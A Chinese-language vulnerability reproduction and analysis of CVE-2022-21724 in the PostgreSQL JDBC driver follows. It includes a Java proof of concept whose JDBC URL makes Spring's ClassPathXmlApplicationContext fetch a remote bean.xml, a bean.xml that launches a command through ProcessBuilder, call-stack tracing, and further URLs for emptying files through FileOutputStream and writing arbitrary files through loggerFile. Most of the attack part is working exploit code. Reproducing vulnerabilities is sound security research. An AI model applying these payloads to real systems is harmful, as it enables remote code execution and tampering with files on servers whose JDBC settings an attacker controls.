任意代码执行漏洞复现

news2025/1/7 23:22:29

漏洞简介

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时，使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName、sslhostnameverifier、socketFactory 、sslfactory、sslpasswordcallback 连接属性提供类名实例化插件实例。但是，驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围：

　　9.4.1208 <=PgJDBC <42.2.25

　　42.3.0 <=PgJDBC < 42.3.2

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漏洞复现

创建 maven 项目，添加依赖

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context-support</artifactId>
    <version>5.3.23</version>
</dependency>

编写测试代码

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
 http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

漏洞分析

任意代码执行 socketFactory/socketFactoryArg

先将调试后的流程大概画出

java.sql.DriverManager#getConnection(java.lang.String)

java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)

利用 org.postgresql.Driver 的 jdbc 驱动去连接数据库

org.postgresql.Driver#connect

调用 makeConnection 去连接数据库

org.postgresql.Driver#makeConnection

org.postgresql.jdbc.PgConnection#PgConnection

org.postgresql.core.ConnectionFactory#openConnection

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

org.postgresql.core.SocketFactoryFactory#getSocketFactory

PGProperty 是枚举类型其中的 get 方法是判断枚举项的值有没有传入的 properties，如果存在就查找返回，没有就返回默认值

SOCKET_FACTORY(
      "socketFactory",
      null,
      "Specify a socket factory for socket creation"),
  SOCKET_FACTORY_ARG(
      "socketFactoryArg",
      null,
      "Argument forwarded to constructor of SocketFactory class."),

org.postgresql.util.ObjectFactory#instantiate

通过 newInstance 来实现对 ctor 类的创建，同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。

org.apache.commons.jxpath.functions.ConstructorFunction
org.apache.commons.jxpath.functions.MethodFunction
java.io.FileOutputStream

通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令或者利用 FileOutputStream 将任意文件置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)

任意代码执行 sslfactory/sslfactoryarg

<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

尝试与数据库进行连接

org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect

建立连接后收到请求以 S 开头，进入 org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL

org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.SocketFactoryFactory#getSslSocketFactory

任意文件写入 loggerLevel/loggerFile

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}